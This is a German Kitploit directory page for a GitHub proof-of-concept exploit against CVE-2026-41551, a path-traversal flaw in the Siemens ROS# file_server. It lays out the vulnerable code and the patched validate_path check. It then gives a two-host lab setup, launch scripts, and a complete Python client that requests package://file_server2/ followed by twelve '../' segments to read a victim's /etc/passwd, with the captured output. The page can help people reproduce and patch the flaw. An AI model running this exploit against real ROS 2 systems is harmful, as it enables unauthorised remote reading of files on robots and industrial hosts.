Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-41551 — Proof-of-Concept-Exploit für CVE-2026-41551, eine Path-Traversal-Schwachstelle im Siemens ROS# file_server, die das entfernte Lesen von Dateien über manipulierte package://-Anfragen demonstriert. | Kitploit
Tools/GitHubGitHub/selecthch/cve-2026-41551
AufklärungSchwachstellenanalyseExploitationWebanwendungs-ExploitationInformationsbeschaffungPenetrationstests
GitHubselecthch/cve-2026-41551

CVE-2026-41551

Proof-of-Concept-Exploit für CVE-2026-41551, eine Path-Traversal-Schwachstelle im Siemens ROS# file_server, die das entfernte Lesen von Dateien über manipulierte package://-Anfragen demonstriert.

Repository anzeigen
1vor 2 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-41551 Reproduktion

Schwachstelle: Relative Pfad-Traversierung in den Siemens ROS#-Diensten file_server / file_server2 CVSS v3.1: 9.1 (AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:N) Betroffene Versionen: ros-sharp alle < V2.2.2; behobene Version: V2.2.2 (neues validate_path) Fazit: Die Schwachstelle ist hostübergreifend ausnutzbar, nicht nur lokal reproduzierbar. Im Folgenden die Schritte zur Remote-Reproduktion von „Angreifer 153 → Opfer 152“.


0. Schwachstellenprinzip (ros-sharp 2.2.1, file_server.cpp)

get_file_callback fügt den Anfragepfad direkt an das Paket-Freigabeverzeichnis an, ohne eine Traversierungsprüfung durchzuführen:

root@kitploit:~
std::string address   = request->name.substr(10);          // "package://" entfernen
std::string package   = address.substr(0, address.find("/"));
std::string filepath  = address.substr(package.length());
std::string directory = ament_index_cpp::get_package_share_directory(package);
directory += filepath;                                    // benutzerkontrolliert, enthält "../"
std::ifstream inputfile(directory.c_str(), std::ios::binary);  // Traversierung zum Lesen beliebiger Dateien

PoC-Anfrage package://file_server2/<../×12>etc/passwd, die aus dem Paket-Freigabeverzeichnis bis zur Wurzel ausbricht und dann lokale Dateien des Opfers liest.

Fix-Code (ros-sharp 2.2.2)

Neues validate_path: Zuerst Pfad-Traversierungsprüfung, dann Whitelist der Dateierweiterungen, schließlich mit std::filesystem::canonical bestätigen, dass das Paketverzeichnis nicht verlassen wurde; save_file standardmäßig deaktiviert.

root@kitploit:~
bool has_traversal(const std::string& path) {           // ".." und "." verbieten
  for (const auto& part : std::filesystem::path(path))
    if (part == ".." || part == ".") return true;
  return false;
}
bool is_path_safe(const std::string& base_dir, const std::string& full_path) {
  auto base   = std::filesystem::canonical(base_dir);
  auto target = std::filesystem::weakly_canonical(full_path);
  auto [end, _] = std::mismatch(base.begin(), base.end(), target.begin());
  return end == base.end();                            // muss weiterhin im Paketverzeichnis liegen
}
bool validate_path(...) {
  if (has_traversal(filepath))   { warn("Path traversal attempt blocked"); return false; }

1. Umgebungsinformationen

Netzwerktopologie (gleiche ROS_DOMAIN_ID, DDS-Erkennung über Hosts hinweg):

root@kitploit:~
Angreifer 192.168.171.153                         Opfer 192.168.171.152
+---------------------------+                +---------------------------+
| ros2_humble + client      |  (1) get_file  | file_server-Knoten        |
| python3 poc.py            | -------------> | /file_server/get_file     |
|                           |                | liest lokales /etc/passwd |
|                           | <-------------  | (2) gibt Dateiinhalt 2930 Bytes zurück |
+---------------------------+                +---------------------------+
             ROS2 DDS (UDP 7400-7500 / Multicast 239.255.0.x), ROS_DOMAIN_ID=0

2. Voraussetzungen (nach Neustart standardmäßig erfüllt)

  • Auf beiden Hosts sind ROS2 Humble (/opt/ros/humble) und colcon installiert.
  • Das Quellpaket mit der Schwachstelle liegt unter ~/ros2_ws/src/file_server2 (ros-sharp 2.2.1, insgesamt 13 Dateien).
  • Wichtig: Beim Start des Opfer-Knotens nicht ROS_LOCALHOST_ONLY=1 setzen, sonst ist nur Loopback erreichbar und eine Remote-Reproduktion nicht möglich.

3. Reproduktionsschritte

3.1 Opferseite (192.168.171.152): Paket kompilieren und Knoten starten, Netzwerk-Listening

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# Schwachstellenpaket kompilieren (bei bereits kompiliertem Paket überspringbar, erneutes Kompilieren schadet nicht)
colcon build --packages-select file_server2

# Knoten starten (neustartsicher: erst alte Prozesse bereinigen, dann starten)
# Inhalt von ~/start_fs.sh siehe Anhang A
bash ~/start_fs.sh
sleep 2

ros2 node list            # sollte lokalen /file_server zeigen

3.2 Angreiferseite (192.168.171.153): client-Paket kompilieren, um den srv-Typ zu erhalten

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0

# Das file_server2-Paket wird ebenfalls benötigt, damit der Client den Typ GetBinaryFile importieren kann
colcon build --packages-select file_server2

3.3 Angreiferseite: Dienst des Opfers hostübergreifend erkennen

root@kitploit:~
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
sleep 2

ros2 node list                 # sollte den hostübergreifenden /file_server erkennen (auf 152)
ros2 service list | grep file_server
# sollte zeigen: /file_server/get_file

3.4 Angreiferseite: PoC ausführen, um /etc/passwd des Opfers remote zu lesen

root@kitploit:~
python3 ~/poc.py

4. Reproduktionsergebnis

root@kitploit:~
[*] Requesting: package://file_server2/../../../../../../../../../../../../etc/passwd
[*] Returned 2930 bytes
----- /etc/passwd (begin) -----
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
----- end -----

Der Angreifer auf 153 hat erfolgreich das /etc/passwd des Opfers 152 (lokal) gelesen.


Anhang A: ~/start_fs.sh

root@kitploit:~
#!/bin/bash
source /opt/ros/humble/setup.bash
source ~/ros2_ws/install/setup.bash
export ROS_DOMAIN_ID=0
# Prozessname wird vom Kernel auf file_server2_no gekürzt, alte Instanzen präzise über die Kommandozeile bereinigen
MYSELF=$$
for p in $(ps -eo pid,args | grep "file_server2_node" | grep -v grep | awk '{print $1}'); do
  [ "$p" != "$MYSELF" ] && kill -9 "$p" 2>/dev/null
done
sleep 1
# Wichtig: ROS_LOCALHOST_ONLY nicht setzen, sonst ist nur Loopback erreichbar
setsid bash -c "ros2 run file_server2 file_server2_node > ~/file_server.log 2>&1" >/dev/null 2>&1 </dev/null &
disown
sleep 2
echo "node started: $(pgrep -af file_server2_node | head -1)"

Anhang B: ~/poc.py

root@kitploit:~
import rclpy
from rclpy.node import Node
from file_server2.srv import GetBinaryFile

class Client(Node):
    def __init__(self):
        super().__init__('poc_client')
        self.cli = self.create_client(GetBinaryFile, '/file_server/get_file')
        while not self.cli.wait_for_service(timeout_sec=5.0):
            self.get_logger().info('waiting for service...')

    def call(self, name):
        req = GetBinaryFile.Request()
        req.name = name
        fut = self.cli.call_async(req)
        rclpy.spin_until_future_complete(self, fut)
        return fut.result()

def main():
    rclpy.init()
    c = Client()
    # 12 "../" reichen aus, um vom Paket-Freigabeverzeichnis bis zur Wurzel auszubrechen und dann etc/passwd zu erreichen
    target = "package://file_server2/" + ("../" * 12) + "etc/passwd"
    print(f"[*] Requesting: {target}")
    res = c.call(target)
    data = bytes(res.value) if res is not None else b''
    print(f"[*] Returned {len(data)} bytes")
    print("----- /etc/passwd (begin) -----")
    print(data[:400].decode(errors='replace'))
    print("----- end -----")
    c.destroy_node()
    rclpy.shutdown()

if __name__ == '__main__':
    main()

Referenzen

  • Siemens Security Advisory SSA-357982 (ROS# file_server Verzeichnis-Traversierung)
  • NVD CVE-2026-41551
  • ros-sharp GitHub Releases: V2.2.1 (betroffen) / V2.2.2 (behoben)
  • CWE-23: Relative Path Traversal; ROS 2-Dokumentation: ROS_DOMAIN_ID / ROS_LOCALHOST_ONLY / DDS-Erkennung
Tool herunterladen
RolleHost-IPSystemROSBeschreibung
Opfer192.168.171.152Ubuntu 22.04HumbleFührt den file_server-Knoten aus, die gelesene Datei liegt lokal vor
Angreifer192.168.171.153Ubuntu 22.04HumbleGleiches Subnetz, führt den PoC-Aufruf gegen den Dienst des Opfers aus